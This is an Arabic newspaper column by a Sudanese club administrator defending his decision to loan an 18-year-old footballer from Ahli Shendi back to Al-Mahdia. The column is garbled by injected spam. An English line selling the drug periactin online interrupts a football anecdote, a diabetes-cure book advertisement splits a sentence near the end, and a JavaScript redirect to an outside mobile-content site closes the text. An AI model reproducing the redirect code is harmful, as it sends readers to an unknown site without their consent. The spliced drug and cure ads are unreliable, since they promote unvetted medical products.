انا والد ومربي واخ اكبر قبل ان اكون ادارياً بل انا اداري لا تفارقه شخصية الوالد والمعلم والاخ والصديق.. الارباب يكتب همس الضفاف عبر (سودانا فوق)
همس الضفاف
لاخي الاستاذ محمد عبد الماجد مكانة عزيزة واثيرة في النفس والخاطر وما
نال هذه المكانة لمعرفة قديمة او علاقة لصيقة رغم انه من الحبيبة شندي بل
كانت كلماته المنثورة باباً واسعاً وعريضاً دخلت منه اليه.
والاخ الاستاذ محمد عبد الماجد فيما كتبه معلقاً ومعقباً على ردي عليه هو
غير اخي محمد الذي عرفت واحببت منهجه واحسب انه على غير ما توقعت قد جرفه
تيار عاصف اشتشاط في ايامنا هذه الاخيرة.
تعادل اتحاد جدة مع هلال الرياض في ذات نفس النهائي لكاس الملك.. انتهت
المباراة بالتعادل الايجابي وكان لزاماً ان يلجأ الحكم الى ضربات الترجيح
لان شروط المنافسة كانت تقتضي ذلك.
كانت ضربات الترجيح سباقا ماروثونيا محموماً ولعلي اذكر بانه قد استمرت
الى ثمان الى تسع ضربات وانتهت بفوز نادي الاتحاد بعد ان اهدر احد لاعبي
الهلال الضربة الثامنة او التاسعة. periactin online also shows interaction with diseases like … therefore age is very essential for the administration of periactin. click here to buy periactin online.
حدث هذا منذ سنوات طويلة وعقب المباراة برر زاجالو الثعلب البرازيلي الذي
كان يدرب الهلال حجزه لبعض اللاعبين الذين كان يمكن ان يحسموا الترجيح
وكان المقصودون فهد المصيبيح وحسين البيشي وسلطان المهنا فقال زاجالو «
هؤلاء لاعبون صغار السن وحديثوا عهد بالمباريات الكبيرة وهذا اول موسم
لهم تنتظرهم بعده مواسم عديدة فلم اشاء ان ينفذ اي واحد منهم ضربة ترجيح
في مباراة مصيرية كهذي لان ذلك يعني ان اعصف باللاعب ومستقبله ان هو قد
فشل في التسجيل فتلاحقه اللعنات اينما حل.
بهذا المنطق تعاملت مع اعارة اهلي شندي الموهوب محمد صلاح مجذوب القادم
من نادي المهدية والمعار اليه.
انا والد ومربي واخ اكبر قبل ان اكون ادارياً بل انا اداري لا تفارقه
شخصية الوالد والمعلم والاخ والصديق.
اللاعب الموهوب محمد صلاح مجذوب والاعلام الهلالي يعرف انه ابن ثمانية
عشر سنة ادخل غرفة الهلال دون علم اسرته ودون علم ناديه ولا استطيع ان
اقول دون موافقته لانني لم اثر معه هذا الامر، خاصة وقد كان حديثه معي
صبيحة خروجه من محبسه بعد احد عشر يوماً من الغياب عن البيت والاسرة
والاصدقاء وفي محادثة جاءتني من الاخ الكريم والده حدثني الابن الموهوب
محمد صلاح وكأن ما تلك المحادثة قد جاءت لتأكيد ما نقله الىّ والده من
رغبة في اللعب من اهلي شندي.
هذا الابن الموهوب ابن الثماني عشر عاما تعرض لتجربة قاسية من حبس وحبس
مشدد ثم حبس اكثر تشديداً وذلك لان المعلومات تقول بانه قد حاول الهروب
مرتين ولذا جاء التشديد ثم التشديد الاكثر.
ثم ان التناول الاعلامي والتراشق بالبيانات والمواقف المتعارضة وضياق
الحقيقة ما بين هذه وتلك كل هذه الاشياء لابد لها من انعكاسات على نفسية
الابن وكل من كان في موقف مماثل لموقفه ولا اتصور بان تجربته في اهلي
شندي ستكون في ظل هذه الظروف تجربة طببعية خالية من المطبات والملاحقة
الاعلامية والجماهيرية.
هكذا رأيت ومن هنا جاء قراري الشخصي باعارة اللاعب حتى يكون بعيداً عن
الضغوط وخير مكان وانسب بيئة تخرجه من كل تلك الضغوط هي بيئة المهدية
الاسرة التي عاش فيها ولعب لناديها مثلما لعب والده.
هذا ما كان لي من رأي وقرار اتحمل نتيجته وادافع عنه كاب اولاً وتربوي
ثانياً واداري ثالثاً واني لاشهد الله تعالى بأنه عز وجل قد كان من وراء
مقصدي ومبتغاي.
ولان ما يكتبه الاخ الاستاذ محمد عبد الماجد له قيمته واثره واعتباره
فأنني ساجيب على كل سؤال وارد على كل نقطة اثارها عله يصل الى قناة انا
death to diabetes: reverse & cure type 2 diabetes … في امس الحاجة اليها بان صلاح ادريس لا يراهن على شيء فارغ كوباً كان او
غيره.
window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”;
التعليقات مغلقة.